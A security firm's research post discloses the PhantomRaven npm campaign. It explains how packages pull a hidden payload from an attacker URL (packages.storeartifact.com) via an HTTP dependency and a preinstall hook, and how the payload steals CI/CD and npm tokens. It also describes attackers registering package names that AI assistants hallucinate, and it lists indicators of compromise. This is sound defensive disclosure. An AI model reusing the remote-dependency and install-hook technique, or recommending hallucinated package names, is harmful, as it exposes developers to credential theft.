126 malicious npm packages. Over 86,000 downloads. Actively stealing npm tokens, GitHub credentials, and CI/CD secrets from developers worldwide - all while hiding the malicious code in dependencies hidden from the dependency analysis that most security tools rely on.

We're calling this campaign PhantomRaven.

The Discovery

Our risk engine, Wings, flagged something strange in October 2025. Packages making external network requests during installation - all to the same suspicious domain.

When we started pulling the thread, we found a campaign that had been running since August. The scope was staggering: 126 packages with more than 86,000 installs combined. And 80 of them were still active, quietly harvesting credentials from developers worldwide. And while the scope was impressive, what really caught our attention was how they were doing it. These packages had found a way to hide their malicious code from most security tools in the ecosystem.

Timeline:

  • August 2025: Campaign begins, first packages published
  • August 2025: Initial 21 packages detected and removed by npm
  • September-October 2025: 80 additional packages uploaded, evading detection
  • October 2025: Campaign discovered by Koi Security's behavioral monitoring

The attacker's infrastructure was surprisingly sloppy for such a sophisticated technique. Sequential email accounts from free providers - jpdtester01@hotmail[.]com, jpdtester02@outlook[.]com, all the way through jpdtester13@gmail[.]com. Usernames like npmhell or npmpackagejpd. All clearly controlled by the same person.

But the delivery mechanism? That was clever.

Koidex report for one of the malicious packages

How It Stayed Hidden: Remote Dynamic Dependencies (RDD)

Open up one of these malicious packages on npm. Check the source code. You'll find something like this:

#!/usr/bin/env node‍

console.log('Hello, world!');

That's it. Completely harmless. A simple hello world script.

So where's the malicious code? It's not in the package you're reviewing. It's in an invisible dependency that gets fetched at install time.

Most npm dependencies look like this:

"dependencies": {
    "express": "^4.18.0"
}

But npm also supports something most developers never use - HTTP URLs as dependency specifiers:

"dependencies": {
    "ui-styles-pkg": "http://packages.storeartifact.com/npm/unused-imports"
}

When you install a package with this kind of dependency, npm fetches it from that external URL. Not from npmjs.com. From wherever the attacker wants.

And npmjs.com doesn't follow those URLs. Security scanners don't fetch them. Dependency analysis tools ignore them. To every automated security system, these packages show "0 Dependencies."

The npm UI shows 0 dependencies

The package you're reviewing on npm? Clean. Empty. Safe.

The malicious code? Sitting on packages.storeartifact.com, waiting to be fetched at install time.

It Gets Worse: They Control What You Download

Every single time someone runs npm install, that dependency is fetched fresh from the attacker's server. Not cached. Not versioned. Not locked. Fresh.

The attacker controls that server. They could decide what code you get based on who's installing.

This opens the door to sophisticated targeting. In theory, they could check the IP address of every request and serve different payloads: benign code to security researchers on VPNs, malicious code to corporate networks, specialized payloads for cloud environments. Or play the long game - return clean code for weeks to build trust and pass security scans, then flip a switch and start serving the malicious version.

The Automatic Execution Problem

But having malicious code in a dependency isn't enough - it needs to run. And npm makes that automatic.

When you run npm install, npm doesn't just download packages. It executes code. Specifically, it runs lifecycle scripts defined in package.json - preinstall, install, and postinstall hooks.

Here's what's in the malicious package fetched via RDD:

"scripts": {
    "preinstall": "node index.js"
}

That preinstall script runs automatically. No prompt. No warning. No user interaction required.

And it doesn't matter how deep in your dependency tree this package is. Install a package that depends on a package that depends on a package with a malicious preinstall script? That code runs on your machine. Automatically.

The complete attack chain:

  1. Developer installs what looks like a clean package from npm
  2. npm fetches the invisible RDD from the attacker's server
  3. The malicious package arrives with a preinstall script
  4. npm automatically executes node index.js before the installation even completes
  5. The malware springs to life

All of this happens in the few seconds it takes for npm install to complete.

What PhantomRaven Actually Does

Once installed through the RDD technique, PhantomRaven gets to work. And it's not subtle about what it wants - your credentials, your environment, everything.

Hunting for Your Email Everywhere

First, it needs to know who you are. The malware systematically searches your entire development environment for email addresses:

It checks your environment variables. Your .gitconfig. Your .npmrc. Even the author field in your package.json. Every possible place an email might hide.

Annoying? Sure. But just email harvesting isn't that scary on its own.

Next - Your Entire CI/CD Environment

They want to know everything about your infrastructure:

GitHub Actions tokens - direct access to your repositories and workflows. GitLab CI credentials - project access and pipeline control. Jenkins credentials - build server access and deployment capabilities. CircleCI tokens - project builds and deployment keys. npm authentication tokens - the ability to publish malicious updates to any package you maintain.

Then - Complete System Fingerprinting

The malware doesn't stop at credentials. It builds a complete profile of your development environment:

Your public IP (fetched from an external service), your hostname, OS details, local IP, username, current directory, Node.js version - everything that helps them understand what kind of system they've compromised and how valuable it might be.

Corporate network? High-value target. Cloud CI/CD pipeline? Jackpot. Developer laptop? Entry point to everything else.

And Finally - Making Sure the Data Gets Out

The exfiltration is redundant to the point of paranoia:

First, an HTTP GET request with all your data encoded in the URL. Then an HTTP POST request with the same data as JSON. If both of those fail? WebSocket connection to a backup server.

Even in restricted network environments with aggressive firewalls, they're getting their data out.

Slopsquatting: AI-Assisted Package Name Attacks

The package names in PhantomRaven aren't random typosquats. They're carefully chosen to exploit a new vulnerability: LLM hallucinations.

When developers ask AI assistants like GitHub Copilot or ChatGPT for package recommendations, the models sometimes suggest plausible-sounding package names that don't actually exist. PhantomRaven created those non-existent packages.

This attack vector - exploiting AI hallucinations to register malicious packages - is what we call slopsquatting.

Examples:

  • eslint-comments → legitimate package: eslint-plugin-eslint-comments
  • transform-react-remove-prop-types → legitimate package: babel-plugin-transform-react-remove-prop-types
  • unused-imports → legitimate package: eslint-plugin-unused-imports

These names are:

  • Close enough to legitimate packages that an AI might suggest them
  • Different enough that they don't directly typosquat existing packages
  • Plausible enough that developers don't immediately question them

An AI assistant might suggest "unused-imports" as a simpler alternative to "eslint-plugin-unused-imports." A developer, trusting the AI's recommendation, installs it without a second thought.

And this isn't theoretical. We've already found packages in the wild that include PhantomRaven malware as dependencies - victims who installed these packages based on AI recommendations, completely unaware they were compromising their systems.

Final Thoughts

This research was conducted by the team at Koi Security, driven by equal parts curiosity and concern for the security of the open-source ecosystem.

PhantomRaven demonstrates how sophisticated attackers are getting at exploiting blind spots in traditional security tooling. Remote Dynamic Dependencies aren't visible to static analysis. AI hallucinations create plausible-sounding package names that developers trust. And lifecycle scripts execute automatically, without any user interaction.

These aren't theoretical vulnerabilities - they're active exploitation techniques affecting thousands of developers right now.

We built Koi to address exactly this problem. Our risk engine doesn't just analyze what packages claim to be - it runs them and watches what they actually do. Network requests during installation. File system access patterns. Anomalous behavior that static analysis can't catch.

Trusted by Fortune 50 organizations and some of the world's largest tech companies, Koi provides real-time risk scoring and governance across package ecosystems including npm, PyPI, VS Code extensions, Chrome extensions, and beyond.

Book a demo to see how our risk engine catches the attacks that slip past traditional security tools.

Because when malware can hide in dependencies that don't show up in any security scan, you need tools that watch what packages do, not just what they say they are.

Stay safe out there.

IOCs

Malicious Infrastructure:

  • packages.storeartifact.com
  • 54.173.15.59
  • Exfiltration endpoint: jpd.php

Compromised Packages:

fq-ui, mocha-no-only, ft-flow, ul-inline, jest-hoist, jfrog-npm-actions-example, @acme-types/acme-package, react-web-api, mourner, unused-imports, jira-ticket-todo-comment, polyfill-corejs3, polyfill-regenerator, @aio-commerce-sdk/config-tsdown, @aio-commerce-sdk/config-typedoc, @aio-commerce-sdk/config-typescript, @aio-commerce-sdk/config-vitest, powerbi-visuals-sunburst, @gitlab-lsp/pkg-1, @gitlab-lsp/pkg-2, @gitlab-lsp/workflow-api, @gitlab-test/bun-v1, @gitlab-test/npm-v10, @gitlab-test/pnpm-v9, @gitlab-test/yarn-v4, acme-package, add-module-exports, add-shopify-header, jsx-a11y, prefer-object-spread, preferred-import, durablefunctionsmonitor, durablefunctionsmonitor-vscodeext, durablefunctionsmonitor.react, e-voting-libraries-ui-kit, named-asset-import, chai-friendly, aikido-module, airbnb-babel, airbnb-base-hf, airbnb-base-typescript-prettier, airbnb-bev, airbnb-calendar, airbnb-opentracing-javascript, airbnb-scraper, airbnb-types, ais-sn-components, goji-js-org, google-cloud-functions-framework, chromestatus-openapi, elemefe, labelbox-custom-ui, rxjs-angular, @apache-felix/felix-antora-ui, @apache-netbeans/netbeans-antora-ui, syntax-dynamic-import, no-floating-promise, no-only-tests, @i22-td-smarthome/component-library, vuejs-accessibility, lfs-ui, react-async-component-lifecycle-hooks, eslint-comments, wdr-beam, lion-based-ui, lion-based-ui-labs, eslint-disable-next-line, eslint-github-bot, eslint-plugin-cli-microsoft365, eslint-plugin-custom-eslint-rules, @item-shop-data/client, @msdyn365-commerce-marketplace/address-extensions, @msdyn365-commerce-marketplace/tax-registration-numbers, artifactregistry-login, crowdstrike, wm-tests-helper, external-helpers, react-important-stuff, audio-game, faltest, only-warn, op-cli-installer, react-naming-convention, skyscanner-with-prettier, xo-form-components, xo-login-components, xo-page-components, xo-shipping-change, xo-shipping-options, xo-title, xo-tracking, xo-validation, badgekit-api-client, important-stuff, transform-es2015-modules-commonjs, transform-merge-sibling-variables, transform-react-constant-elements, transform-react-jsx-source, transform-react-remove-prop-types, transform-strict-mode, trezor-rollout, filename-rules, ing-web-es, inline-react-svg, ts-important-stuff, firefly-sdk-js, firefly-shared-js, zeus-me-ops-tool, zeus-mex-user-profile, ts-migrate-example, ts-react-important-stuff, zohocrm-nodejs-sdk-3.0, iot-cardboard-js, pensions-portals-fe, sort-class-members, sort-keys-fix, sort-keys-plus, flowtype-errors, twilio-react, twilio-ts, bernie-core, bernie-plugin-l10n, spaintest1, typescript-compat, typescript-sort-keys, uach-retrofill

Attacker Infrastructure:

Sequential email pattern across free email providers:

  • npmjjjj (jpdtester01@hotmail.com)
  • npmjpd2 (jpdtester02@outlook.com)
  • npmtestdharsh (jpdtester03@outlook.com)
  • npmtesthas1 (jpdtester05@outlook.com)
  • packagejpd (jpdtester06@outlook.com)
  • npmhell (jpdtester07@hotmail.com)
  • npmpackagejpd (jpdtester07@outlook.com)
  • onlynpmpackagejpd (jpdtester08@hotmail.com)
  • micropackage1 (jpdtester09@outlook.com)
  • npmpackagejpd12 (jpdtester10@hotmail.com)
  • jpdhackerone11 (jpdtester11@outlook.com)
  • jpd12 (jpdtester12@gmail.com)
  • packagedharsh (jpdtester12@outlook.com)
  • jpd13 (jpdtester13@gmail.com)

Copied to clipboard

Be the first to know

Fresh research and updates on software risk and endpoint security.